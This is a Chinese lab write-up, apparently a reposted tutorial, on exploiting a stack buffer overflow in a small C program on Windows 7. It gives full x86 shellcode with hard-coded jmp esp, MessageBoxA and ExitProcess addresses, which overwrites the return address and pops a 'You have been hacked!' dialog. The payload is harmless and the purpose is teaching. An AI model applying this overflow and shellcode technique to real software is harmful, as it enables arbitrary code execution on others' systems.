AI智能
改变未来

缓冲区溢出利用与ShellCode编写

###一、实验目的

  1. 熟悉编写shellCode的流程
  2. 掌握缓冲区溢出的利用###二、实验环境
  3. 系统环境:Windows环境
  4. 软件环境:C++ ,缓冲区溢出文件链接###三、实验原理
  5. 要实施一次有效的缓冲区溢出攻击,攻击者必须完成如下任务:(1)在程序的地址空间里植入适当的代码(称为shellcode)用于完成获取系统控制权等非法任务。(2)通过修改寄存器或内存,让程序执行流跳转到攻击者植入的shellcode地址空间执行。
  6. 在具体实现时,我们通过三个步骤完成缓冲区溢出:(1).精确查找返回地址的位置(2).查找一个适合的地址用于覆盖原始地址(3).编写shellcode到对应的缓冲区(4).编写shellcode弹出攻击对话框###四、实验步骤
  • 利用缓冲区溢出漏洞首先需要精确查找到返回地址的位置打开Windows7虚拟机,编写一个overrun.dsw工程文件,代码如下所示:
#include "string.h"#include "stdio.h"#include "windows.h"char name[] = "ABCDEFGH""IJKL""\\xb3\\x00\\x00\\x00"//填入获取的jmp esp指令地址"\\x33\\xDB" //xor ebx,ebx"\\x53"     //push ebx"\\x68\\x69\\x6E\\x67\\x20"//push 0x20676e69"\\x68\\x57\\x61\\x72\\x6E"//push 0x6e726157"\\x8B\\xC4"  //mov eax,esp"\\x53"  //push ebx"\\x68\\x21\\x20\\x20\\x20"//push 0x20202021"\\x68\\x63\\x6b\\x65\\x64"//push 0x64656b63"\\x68\\x6e\\x20\\x68\\x61"//push 0x6168206e"\\x68\\x20\\x62\\x65\\x65"//push 0x65656220"\\x68\\x68\\x61\\x76\\x65"//push 0x65766168"\\x68\\x59\\x6f\\x75\\x20"//push 0x20756f59"\\x8B\\xCC" //mov ecx,esp"\\x53"//push ebx"\\x50"//push eax"\\x51"//push ecx"\\x53"//push ebx"\\xb8\\x00\\x00\\x00\\x00"//MessageBoxA地址赋给eax"\\xFF\\xD0" //call eax"\\x53" //push ebx"\\xb8\\x00\\x00\\x00\\x00" //将之前实验获取的ExitProcess函数的地址赋给eax"\\xFF\\xD0"; //call eax;int main(){char buffer[8];LoadLibrary("user32.dll");strcpy(buffer,name);printf("%s\\n",buffer);getchar();return 0;}
  • 获取jmp esp 指令地址:打开缓冲区溢出文件夹—找到Searchjmp文件夹,加载SearhjmpEsp.dsw文件。运行程序,程序列出jmp esp指令的地址。我们随机选取一个jmp esp的地址,例如:0x75a0a0b3如下图所示:获取jmp esp指令地址

  • 获取对话框函数(注入函数)地址:通过漏洞调用MessageBoxA对话框首先要获取相关函数的地址,双击打开缓冲区溢出文件夹—找到Searchjmp文件夹,加载SerchFunctionAddr.dsw文件,运行程序。获取对应函数的地址。函数MessageBoxA的地址为0x759aea11,函数ExitProcess的地址为0x76e0214f。如图2-2-3所示。(修改代码可以获取其他API函数的地址)为了让溢出程序正常关闭,这里我们还获取了ExitProcess函数的地址

  • 将获取jmp esp 指令地址和获取对话框函数(注入函数)地址,替换overrun.cpp文件内的jmp esp指令地址和MessageBoxA和ExitProcess地址

#include "string.h"#include "stdio.h"#include "windows.h"char name[] = "ABCDEFGH""IJKL""\\xb3\\xa0\\xa0\\x75"//填入获取的jmp esp指令地址"\\x33\\xDB" //xor ebx,ebx"\\x53"     //push ebx"\\x68\\x69\\x6E\\x67\\x20"//push 0x20676e69"\\x68\\x57\\x61\\x72\\x6E"//push 0x6e726157"\\x8B\\xC4"  //mov eax,esp"\\x53"  //push ebx"\\x68\\x21\\x20\\x20\\x20"//push 0x20202021"\\x68\\x63\\x6b\\x65\\x64"//push 0x64656b63"\\x68\\x6e\\x20\\x68\\x61"//push 0x6168206e"\\x68\\x20\\x62\\x65\\x65"//push 0x65656220"\\x68\\x68\\x61\\x76\\x65"//push 0x65766168"\\x68\\x59\\x6f\\x75\\x20"//push 0x20756f59"\\x8B\\xCC" //mov ecx,esp"\\x53"//push ebx"\\x50"//push eax"\\x51"//push ecx"\\x53"//push ebx"\\xb8\\x11\\xea\\x9a\\x75"//MessageBoxA地址赋给eax"\\xFF\\xD0" //call eax"\\x53" //push ebx"\\xb8\\x4F\\x21\\xe0\\x76" //将之前实验获取的ExitProcess函数的地址赋给eax"\\xFF\\xD0"; //call eax;int main(){char buffer[8];LoadLibrary("user32.dll");strcpy(buffer,name);printf("%s\\n",buffer);getchar();return 0;}
  • 运行overrun.cpp程序,按下空格,弹出对话框成功。如下图所示:
赞(0) 打赏
未经允许不得转载:爱站程序员基地 » 缓冲区溢出利用与ShellCode编写